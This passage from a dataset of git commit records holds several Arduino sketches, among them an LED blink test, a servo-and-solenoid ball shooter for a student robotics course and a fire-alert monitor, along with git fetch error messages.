{"commit":"53a768dec6d051983bacfc711d3d754341df4b9e","subject":"Blink LED on Jeenod port 4","message":"Blink LED on Jeenod port 4\n","repos":"wmadill\/grant-lighting,wmadill\/grant-lighting","old_file":"sketches\/tests\/jblink\/jblink.ino","new_file":"sketches\/tests\/jblink\/jblink.ino","new_contents":"\/**\n * Blink an LED on the DIO pin of JeeNode header 4. \n * This uses standard Arduino pin assignments with\n * no power management.\n *\n * 2015-08-14 <bill@jamimi.com> http:\/\/opensource.org\/licenses\/mit-license.php\n *\/\n\n#define LED_PIN 7\n\nvoid setup() {\n pinMode(LED_PIN, OUTPUT);\n}\n\nvoid loop () {\n digitalWrite(LED_PIN, 1);\n delay(50);\n digitalWrite(LED_PIN, 0);\n delay(10000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/tests\/jblink\/jblink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bad11753121cd0b3242930386f4be980bce38136","subject":"No Interrupts at all","message":"No Interrupts at all\n\nGoes back to checking for releasing solenoids, as interrupts caused\nfreezes.\nHas a heartbeat (red LED).\nFixed an error in setShooterAngle where servo 3 couldn't be controlled.\nOffsets were re-done.\n","repos":"edunham\/engr421","old_file":"embedded\/Crossfire_Program_NoInterrupts\/Crossfire_Program_NoInterrupts.ino","new_file":"embedded\/Crossfire_Program_NoInterrupts\/Crossfire_Program_NoInterrupts.ino","new_contents":"\/\/ENGR 421 Team 4\n\/\/2013\n\n\/\/Written by Dean Reading\n\n\n\n\/*******************************************************************************************\/\n\/\/ Changelog\n\/*******************************************************************************************\n * Version control can now be handled by GitHub...\n *\n * Version 0.2\n * Included a timeout when waiting for a character.\n * Added the sendMessage function to communicate with laptop.\n * Added in error messages for invalid command IDs, shooter numbers and angles.\n * Added in lower and upper limits to the angles that can be used. \n * \n * \n * Version 0.1\n * Includes command receiving and execution, with 'Aim' and 'Shoot' commands.\n * <angle> input is a byte that should range from 0 to 180, with 90 being pointing forward.\n * All DC motor pins are set up and PWM is created.\n * setShooterAngle, releaseBall and checkSolenoids functions are included.\n * 'GO' & 0x80 is sent to indicate game start.\n *\n * \n *\/\n\n\/*\n\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \/\/ Pre-Start\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n *\/\n\n\n\/\/ Pins\n\/*******************************************************************************************\/\n\/\/Motors\n#define pinMotor1 5\n#define pinMotor2 2\n#define pinMotor3 3\n\n#define pinServo1 46\n#define pinServo2 45\n#define pinServo3 44\n\n#define pinSolenoid1 4\n#define pinSolenoid2 6\n#define pinSolenoid3 7\n\n\/\/Interface Panel\n#define pinPot A0\n\n#define pinLEDY1 26\n#define pinLEDY2 24\n#define pinLEDY3 22\n\n#define pinLEDR 30\n#define pinLEDB 32\n#define pinLEDG 28\n\n#define pinButton1 20\n#define pinButton2 19\n#define pinButton3 18\n\n#define pinConfig1 17\n#define pinConfig2 21\n\n\/\/Arbiter\n#define pinArbiter 52\n\n\/\/ Programmable Parameters\n\/*******************************************************************************************\/\n#define DEBUG 1 \/\/Defining DEBUG turns ON debugging messages\n\n#define killMsgSend 0 \/\/Prevents the arduino from sending the functional messages to the laptop\n\n#define commsTimeout 200 \/\/The maximum time that a received serial command can take, in mS\n\n#define ballReleaseTime1 30 \/\/The time that the solenoid needs to be activated for to release a ball, in mS\n#define ballReleaseTime2 24\n#define ballReleaseTime3 22\n\n\/\/#define ballReleaseInt floor((ballReleaseTime1*125)\/8) \/\/The number of 64uS needed to get to ballReleaseTime\n\n\n#define angleLowest 65 \/\/The minimum allowable angle\n#define angleHighest 115 \/\/The maximum allowable angle\n\n#define motorLevel1 202 \/\/PWM levls for the motors\n#define motorLevel2 169\n#define motorLevel3 206\n\n#define offset1 -2 \/\/offset angles for each servo\n#define offset2 -12\n#define offset3 -5\n\n\/\/ Libraries & Objects\n\/*******************************************************************************************\/\n#include <Servo.h>\nServo servo1; \/\/Declare 3 instances of servo objects\nServo servo2;\nServo servo3;\n\n\/\/Function Prototypes\nvoid sendMessage (byte CMD,byte in1 = 255, byte in2 = 255, byte in3 = 255);\n\n\/\/ Constants\n\/*******************************************************************************************\/\nbyte commandLength[255]; \/\/The number of data bytes for each command type for serial comms\nconst byte solenoidPins[] = {\n 0,pinSolenoid1,pinSolenoid2,pinSolenoid3}; \/\/A map for the solenoid pins\nconst byte motorPins[] = {\n 0,pinMotor1,pinMotor2,pinMotor3}; \/\/A map for the solenoid pins\nconst byte ledPinsY[] = {\n 0,pinLEDY1,pinLEDY2,pinLEDY3}; \/\/A map for the yellow LEDs\nconst byte ledPins[] = {\n 0,pinLEDR,pinLEDB,pinLEDG}; \/\/A map for the R B and G LEDs\nconst byte buttonPins[] = {\n 0,pinButton1,pinButton2,pinButton3}; \/\/A map for the three momentary buttons\n\nconst byte OCIE4[] = {\n 0, OCIE4A, OCIE4B, OCIE4C}; \/\/A map for the locations of the output compare interrupt enable bit locations\nvolatile byte *ptrOCR4H[] = {\n 0, &OCR4AH, &OCR4BH, &OCR4CH}; \/\/Maps for the locations of the high and low output compare value byte locations\nvolatile byte *ptrOCR4L[] = {\n 0, &OCR4AL, &OCR4BL, &OCR4CL};\nvolatile boolean buttonPressed[] = {\n 0, 0, 0, 0};\nunsigned long lastButtonPress; \/\/Saves the last time that a button was pressed\n\nconst byte motorLevel[] = {\n 0,motorLevel1,motorLevel2,motorLevel3}; \/\/Individual PWM signal levels for each motor\nconst unsigned int ballReleaseTime[] = {\n 0, ballReleaseTime1, ballReleaseTime2, ballReleaseTime3};\nchar offset[] = {\n 0,offset1,offset2,offset3}; \/\/servo offsets\n\n\n\/\/ Global Variables\n\/*******************************************************************************************\/\nbyte commandID=0;\nbyte bytesRemaining; \/\/\nchar buffer[5];\nunsigned long timer; \/\/A multi-purpose timer\n\nint counter=0;\n\nunsigned long ballReleaseTimer[4]; \/\/Saves when the last ball was released.\nboolean ballReleasing[] = {\n 0,0,0,0}; \/\/Indicates whether we are in the process of releasing a ball\n\n\/*\n\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \/\/ Setup\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n *\/\nvoid setup(){\n\n \/\/ Constants\n \/*******************************************************************************************\/\n commandLength[1]=2;\n commandLength[2]=1;\n commandLength[3]=2;\n\n commandLength[0x80]=0;\n commandLength[0x81]=0;\n commandLength[0xE0]=1;\n commandLength[0xE1]=1;\n commandLength[0xE2]=2;\n\n \/\/ Pin Modes and Setup\n \/*******************************************************************************************\/\n for (byte i=1;i<4;i++){\n pinMode(motorPins[i],OUTPUT);\n pinMode(solenoidPins[i],OUTPUT);\n\n analogWrite(motorPins[i],motorLevel[i]); \/\/Set the PWM signal for the motor\n digitalWrite(solenoidPins[i],LOW); \/\/Ensure the solenoid is low\n\n pinMode(ledPins[i],OUTPUT); \/\/Set the LED pins as outputs\n pinMode(ledPinsY[i],OUTPUT);\n pinMode(buttonPins[i],INPUT_PULLUP); \/\/Set the button pins as inputs pulled high\n }\n\n \/\/Set the config switch pins as inputs pulled high\n pinMode(pinConfig1,INPUT_PULLUP);\n pinMode(pinConfig2,INPUT_PULLUP);\n pinMode(pinArbiter,INPUT_PULLUP);\n\n\n \/\/ Other Setup Code\n \/*******************************************************************************************\/\n Serial.begin(9600);\n Serial.setTimeout(commsTimeout);\n#if DEBUG==1\n Serial.println(\"Arduino Start\");\n#endif\n\n\n \/\/Attach the servo objects\n servo1.attach(pinServo1,429,2571); \/\/Include the maximum and minimum pulse widths.\n servo2.attach(pinServo2,429,2571);\n servo3.attach(pinServo3,429,2571);\n\n \/\/Run a test pattern on the LEDs\n float num = 200; \/\/mS\n for (byte i=0;i<6;i++){\n for (byte j=1;j<4;j++){\n digitalWrite(ledPinsY[j],HIGH);\n delay(num);\n num=num*0.93;\n digitalWrite(ledPinsY[j],LOW);\n }\n for (byte j=3;j>0;j--){\n digitalWrite(ledPins[j],HIGH);\n delay(num);\n num=num*0.93;\n digitalWrite(ledPins[j],LOW);\n }\n }\n\n\n \/\/Run a servo test\n for (byte k=1; k<4; k++){\n setShooterAngle(k,angleLowest);\n }\n delay(500);\n for (byte k=1; k<4; k++){\n setShooterAngle(k,angleHighest);\n }\n delay(500);\n for (byte k=1; k<4; k++){\n setShooterAngle(k,angleLowest);\n delay(167);\n }\n delay(167);\n for (byte k=3; k>0; k--){\n setShooterAngle(k,angleHighest);\n delay(167);\n }\n delay(167);\n\n\n \/\/Set all servos to 90 degrees\n for (byte k=1; k<4; k++){\n setShooterAngle(k,90);\n }\n\n\n \/\/Wait until 'Game Start' signal is sent from the arbiter\n#if DEBUG==1\n Serial.println(\"Waiting for arbiter to activate\");\n#endif\n while(digitalRead(pinArbiter)==HIGH){ \/\/Wait until the pin goes low\n while (Serial.available()) {\n Serial.read(); \/\/Clear any serial characters.\n }\n }\n \/\/Send 'Game Start' message to laptop\n sendMessage(0x80);\n#if DEBUG==1\n Serial.println(\"GAME START received\");\n#endif\n\n}\n\n\n\/*\n\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \/\/ Loop\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n *\/\nvoid loop(){\n checkSerial(); \/\/Check for incoming commands, and execute them\n\n checkSolenoids(); \/\/Check to see if any solenoids need deactivating\n\n \/\/Increment a counter for the heartbeat\n counter++;\n if (counter>=15000){\n counter=0;\n digitalWrite(ledPins[1],!digitalRead(ledPins[1]));\n }\n\n \/\/Check if the arbiter has signalled that the game is over\n if(digitalRead(pinArbiter)==HIGH){\n sendMessage(0x81);\n#if DEBUG==1\n Serial.println(\"GAME STOP received\");\n#endif\n while(digitalRead(pinArbiter)==HIGH){\n while (Serial.available()) {\n Serial.read(); \/\/Clear any serial characters.\n }\n } \/\/Wait until the pin goes low\n sendMessage(0x80);\n#if DEBUG==1\n Serial.println(\"GAME START received\");\n#endif\n }\n\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*checkSerial\n\/*******************************************************************************************\/\nvoid checkSerial(){\n if (Serial.available()) {\n \/\/Search for the initization sequence\n if (Serial.read()=='G'){\n timer=millis()+commsTimeout;\n while (!Serial.available()){ \/\/Wait until another character is available\n if (millis()>timer) { \/\/Exit the loop if we don't receive another character\n break;\n }\n } \n if (Serial.peek()=='O'){\n Serial.read(); \/\/Remove the 'O' from the serial buffer.\n \/\/Initialization Sequence detected!\n\n#if DEBUG==1\n Serial.println(\"'G O' found!\");\n#endif\n\n timer=millis()+commsTimeout;\n while (!Serial.available()){ \/\/Wait until another character is available\n if (millis()>timer) { \/\/Exit the loop if we don't receive another character\n break;\n }\n } \n commandID=Serial.read(); \/\/This byte is the command ID\n\n \/\/Now, read the required number of data bytes into the array 'buffer'\n Serial.readBytes(buffer,commandLength[commandID]);\n\n \/\/Execute the command\n executeCommand();\n }\n }\n }\n}\n\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*executeCommand\n\/*******************************************************************************************\/\n\/\/This function executes whatever the necessary action is, as told by the command and data\n\/\/received through serial comms\nvoid executeCommand(){\n switch (commandID){\n case 1:\n \/\/Aim shooter <db1> to angle defined by <db2>\n setShooterAngle(buffer[0],(byte) buffer[1]);\n break;\n case 2:\n \/\/Release a ball on shooter <db1>\n releaseBall(buffer[0]);\n break;\n case 3:\n \/\/Change servo angle offset\n offset[buffer[0]]=(char) buffer[1]; \/\/Changed to a signed byte\n default:\n#if DEBUG==1\n Serial.print(\"Unrecognized command ID: \");\n Serial.println(commandID);\n#endif\n \/\/Send error feedback to laptop\n sendMessage(0xE0,commandID);\n digitalWrite(ledPinsY[1],HIGH); \/\/Light up the error LED\n }\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*setShooterAngle\n\/*******************************************************************************************\/\n\/\/This function changes the servo signal for shooter <shooterNum> to the angle defined by \n\/\/ <angle>. <angle> is a byte that ranges from 180, which maps from 900 to 2100 mS.\nvoid setShooterAngle(byte shooterNum, byte angle){\n\n \/\/ unsigned int output = (((unsigned int) angle-1)*137)\/29+900; \/\/ 137\/29 = 4.724 = 1200\/254, the scaling factor to get to uS\n\n#if DEBUG==1\n Serial.print(\"Setting shooter \");\n Serial.print(shooterNum);\n Serial.print(\" to \");\n Serial.println(angle);\n#endif\n\n\n \/\/Set the servo output. Use a switch statement to use the correct servo object.\n if (angle<angleLowest || angle>angleHighest) {\n \/\/The angle is invalid! Don't move the shooter, and send error feedback\n#if DEBUG==1\n Serial.print(\"Invalid Angle: \");\n Serial.println(angle);\n#endif\n sendMessage(0xE2,shooterNum,angle);\n digitalWrite(ledPinsY[3],HIGH); \/\/Light up the error LED\n }\n else{\n \/\/Apply the angle offset\n angle += offset[shooterNum];\n switch (shooterNum) {\n case 1:\n servo1.write(angle);\n break;\n case 2:\n servo2.write(angle);\n break;\n case 3:\n servo3.write(angle);\n break;\n default:\n#if DEBUG==1\n Serial.print(\"Unrecognized shooter Num: \");\n Serial.println(shooterNum);\n#endif\n \/\/Send unrecognized shooter num feedback to laptop\n sendMessage(0xE1,shooterNum);\n digitalWrite(ledPinsY[2],HIGH); \/\/Light up the error LED\n }\n }\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*releaseBall\n\/*******************************************************************************************\/\n\/\/This function releases one BB (hopefully) from shooter <shooterNum>\nvoid releaseBall(byte shooterNum) {\n#if DEBUG==1\n Serial.print(\"Releasing ball from shooter: \");\n Serial.println(shooterNum);\n#endif\n\n if (shooterNum<1 || shooterNum>3) { \/\/Check that the shooter number is valid\n \/\/Shooter number is invalid\n#if DEBUG==1\n Serial.print(\"Unrecognized shooter Num: \");\n Serial.println(shooterNum);\n#endif\n \/\/Send unrecognized shooter num feedback to laptop\n sendMessage(0xE1,shooterNum);\n digitalWrite(ledPinsY[2],HIGH); \/\/Light up the error LED\n }\n else{\n digitalWrite(solenoidPins[shooterNum],HIGH); \/\/Activate the solenoid: open the passage\n \/\/digitalWrite(ledPins[shooterNum],HIGH); \/\/Turn on the respective LED\n\n ballReleaseTimer[shooterNum]=millis()+ballReleaseTime[shooterNum]; \/\/Set the timer for deactivating the solenoid\n ballReleasing[shooterNum]=1; \/\/Indicate that we are releasing a ball\n }\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*checkSolenoids\n\/*******************************************************************************************\/\n\/\/Check whether there are any solenoids that need to be deactivated\nvoid checkSolenoids(){\n for (byte i=1;i<4;i++){ \/\/Check all 3 solenoids\n if (ballReleasing[i]==1){ \/\/If a ball is currently being released\n if (millis()>ballReleaseTimer[i]){ \/\/If enough time has passed\n digitalWrite(solenoidPins[i],LOW); \/\/Deactivate the solenoid: close the passage\n \/\/digitalWrite(ledPins[i],LOW); \/\/Turn off the respective LED\n\n ballReleasing[i]=0; \/\/Indicate that the ball is no longer being released\n#if DEBUG==1\n Serial.print(\"Deactivating solenoid: \");\n Serial.println(i);\n#endif\n }\n }\n }\n}\n\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*sendMessage\n\/*******************************************************************************************\/\n\/\/This function sends commands to the laptop. It has optional inputs.\nvoid sendMessage (byte CMD,byte in1, byte in2, byte in3) {\n#if killMsgSend==0\n Serial.print(\"GO\");\n if (commandLength[CMD]>0){\n Serial.print(in1);\n if (commandLength[CMD]>1){\n Serial.print(in2);\n if (commandLength[CMD]>2){\n Serial.print(in3);\n }\n }\n }\n Serial.println(); \/\/Print a new line character\n#endif\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*Timer Interrupt Service Routines\n\/*******************************************************************************************\/\nISR(TIMER4_COMPA_vect){\n \/\/Turn off the interrupts\n TIMSK4 &= 255 - _BV(OCIE4A);\n\n digitalWrite(solenoidPins[1],LOW); \/\/Deactivate the solenoid: close the BB passage\n digitalWrite(ledPins[1],LOW); \/\/Turn off the respective LED\n#if DEBUG==1\n Serial.println(\"Deactivating solenoid: 1\");\n#endif\n}\n\nISR(TIMER4_COMPB_vect){\n \/\/Turn off the interrupts\n TIMSK4 &= 255 - _BV(OCIE4B);\n\n digitalWrite(solenoidPins[2],LOW); \/\/Deactivate the solenoid: close the BB passage\n digitalWrite(ledPins[2],LOW); \/\/Turn off the respective LED\n#if DEBUG==1\n Serial.println(\"Deactivating solenoid: 2\");\n#endif\n}\n\nISR(TIMER4_COMPC_vect){\n \/\/Turn off the interrupts\n TIMSK4 &= 255 - _BV(OCIE4C);\n\n digitalWrite(solenoidPins[3],LOW); \/\/Deactivate the solenoid: close the BB passage\n digitalWrite(ledPins[3],LOW); \/\/Turn off the respective LED\n#if DEBUG==1\n Serial.println(\"Deactivating solenoid: 3\");\n#endif\n}\n\n\n\n\n\n\n\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'embedded\/Crossfire_Program_NoInterrupts\/Crossfire_Program_NoInterrupts.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a526d00f22c89e29bd45cddec834d40c0dacbc68","subject":"hmm, the endstops seem to be somewhat considered \u2026","message":"hmm, the endstops seem to be somewhat considered \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"EndstopTest\/EndstopTest.ino","new_file":"EndstopTest\/EndstopTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"2132024e343489863330c3531c824dff3a14e2ab","subject":"add operator button arduino sketch","message":"add operator button arduino sketch\n","repos":"bhomberg\/heterodyne,bhomberg\/heterodyne,bhomberg\/heterodyne,bhomberg\/heterodyne,bhomberg\/heterodyne","old_file":"control-scheme\/operator\/operator.ino","new_file":"control-scheme\/operator\/operator.ino","new_contents":"const int buttons[] = {2, 3, 4, 5, 6, 7}\n\nvoid setup() {\n for(int i=0; i < 6; i++)\n {\n pinMode(buttons[i], INPUT);\n }\n}\n\nvoid loop() {\n for(int i=0; i<6; i++)\n {\n s = digitalRead(buttons[i]);\n\n \/\/ button is on\n if(s == HIGH)\n {\n Serial.println(i+1);\n delay(1000); \/\/ debounce\n }\n\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'control-scheme\/operator\/operator.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e64e92b2114f22f7289b0c94bae99c4f45a915f9","subject":"Optimise data types","message":"Optimise data types\n\nAlso show how to use `sizeof` operator properly","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/05.Control\/Arrays\/Arrays.ino","new_file":"build\/shared\/examples\/05.Control\/Arrays\/Arrays.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref e64e92b2114f22f7289b0c94bae99c4f45a915f9\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"d6b61e989c045a2f4b9954413a33c12ce58366a9","subject":"ok, at least we can listen to interrupts \u2026","message":"ok, at least we can listen to interrupts \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"3ffc4ff1ad69f4279310863e56319a3782bf8891","subject":"arduino sketch with blinking led","message":"arduino sketch with blinking led\n","repos":"arve0\/yun-fire-alert,arve0\/yun-fire-alert","old_file":"YunFireAlert\/YunFireAlert.ino","new_file":"YunFireAlert\/YunFireAlert.ino","new_contents":"\/* TODO *\/\n\n#include <Bridge.h>\n#include <Console.h>\n#include \"MsTimer2.h\"\n\n\/\/ pins\nconst byte firePin = 2;\nconst byte failInPin = 3;\nconst byte failOutPin = 4;\nconst byte statusPin = 13;\n\nvoid setup() {\n \/\/ external pullup\n pinMode(firePin, INPUT);\n \/\/ internal pullup\n pinMode(failInPin, INPUT_PULLUP);\n \/\/ relay normally open with external pullup\n pinMode(failOutPin, OUTPUT);\n \/\/ internal LED\n pinMode(statusPin, OUTPUT);\n\n Bridge.begin();\n Console.begin();\n Console.println(\"console started\");\n}\n\nvoid toggleLed() {\n \/\/ change output of led\n static byte out = HIGH;\n digitalWrite(statusPin, out);\n out = !out;\n}\n\n\/\/ status codes\nconst byte ALARM = 0;\nconst byte FAILURE = 1;\nconst byte FAILURE_INTERNET = 2;\nconst byte FAILURE_TWILIO = 3;\nconst byte OK = 10;\n\nbyte getState(){\n \/\/ Get current state and return it.\n \/\/ FAILURE_INTERNET: failure internet - TODO\n \/\/ FAILURE_TWILIO: failure twilio - TODO\n byte fire = digitalRead(firePin);\n byte failure = digitalRead(failInPin);\n delay(50); \/\/ debounce\n if (fire == 1 && digitalRead(firePin) == 1) return ALARM;\n else if (failure == 0 && digitalRead(failInPin) == 0) return FAILURE;\n else return OK;\n}\n\nvoid loop() {\n static byte currentState;\n static byte previousState = 10;\n \/\/ get current state\n currentState = getState();\n if (currentState != previousState) {\n switch (currentState) {\n case ALARM:\n Console.println(\"BRANN\");\n MsTimer2::stop();\n MsTimer2::set(100, toggleLed);\n MsTimer2::start();\n break;\n \n case FAILURE:\n Console.println(\"FEIL\");\n MsTimer2::stop();\n MsTimer2::set(1000, toggleLed);\n MsTimer2::start();\n break;\n \n case OK:\n Console.println(\"OK\");\n MsTimer2::stop();\n digitalWrite(statusPin, LOW);\n } \/\/ end switch state\n } 